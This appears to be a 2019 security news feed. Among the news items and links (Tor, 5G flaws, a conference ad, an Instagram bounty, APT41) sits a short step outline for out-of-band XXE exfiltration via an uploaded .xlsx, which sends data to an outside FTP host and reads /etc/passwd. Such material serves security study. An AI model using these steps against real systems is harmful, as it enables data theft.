Russian Intelligence Found Trying to Crack Tor Browser by Taking part in the Network

A hacker group compromised Russia’s Secret Intelligence Agency and they gained access to terabytes of data stored by the FSB contractor that includes the secret project details.

BBC learned that hackers who breached Russian intelligence contractor found that they are working towards cracking Tor browser as part of their secret project. It is still unclear how successful it will be, it heavily depends on the luck matching to Tor users activity.

Buy a ticket and join #P0SCon2019

https://evand.com/events/دومین-نشست-بین-المللی-امنیت-سایبری-p0scon-68836830

Topics of Interest:
✅ Malware Analysis
✅ Software Exploitation
✅ Embedded Devices
✅ OSINT
✅ Cryptocurrency
✅ DarkNet
✅ Attack or Defense Tools
✅ Web Security

Date:
12 Oct 2019

Urmia University of Technology

@P0SCon

Demo of creating Hidden Mail Service over TOR:

https://youtu.be/E2x5CmjPXPw


More information can be found in:
https://mstajbakhsh.ir/creating-hidden-mail-service/

Vulnerabilities in 5G

1) A protocol vulnerability in 4G and 5G specification that allows the fake base station to steal information about the device and mount identification attacks
2) Implementation vulnerability in cellular network operator equipment that can be exploited during a device registration phase
3) A protocol vulnerability that affects the battery life of low-powered devices
https://infosec.sintef.no/en/informasjonssikkerhet/2019/08/new-vulnerabilities-in-5g-security-architecture-countermeasures/

Automated Detection of Web Application Firewall

https://github.com/EnableSecurity/wafw00f
#web
#Pentest
@ctfplay

https://medium.com/@valeriyshevchenko/jenkins-rce-poc-or-simple-pre-auth-remote-code-execution-on-the-server-d18b868a77cb

#BugBounty
#writeup

Instagram Added to Facebook Data-Abuse Bounty Program

Social media giant also launches invitation-only bug bounty program for 'Checkout on Instagram'.

Instagram users aware of a third-party application developer misusing their personal data can now report the activity to the company and potentially earn a reward for it.

Facebook, which owns Instagram, on Monday expanded its Data Abuse Bounty program to Instagram in a continuing effort to crack down on application developers and other third parties that are misusing user data on the company's social media platforms.
https://www.darkreading.com/vulnerabilities---threats/instagram-added-to-facebook-data-abuse-bounty-program/d/d-id/1335569

Exfiltration through FTP using OOB XXE

Upload accepts .xlsx files --> Unzip sample .xlsx file -> add payload in workbook.xml/[Content_Types].xml after xml declaration --> DTD file send data via ftp://remote-ip/%data --> run ftp server using xxe-ftp-server.rb --> /etc/passwd

Via: https://twitter.com/_ayoubfathi_/status/1164536885244583941

GAME OVER: Detecting and Stopping an APT41 Operation
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html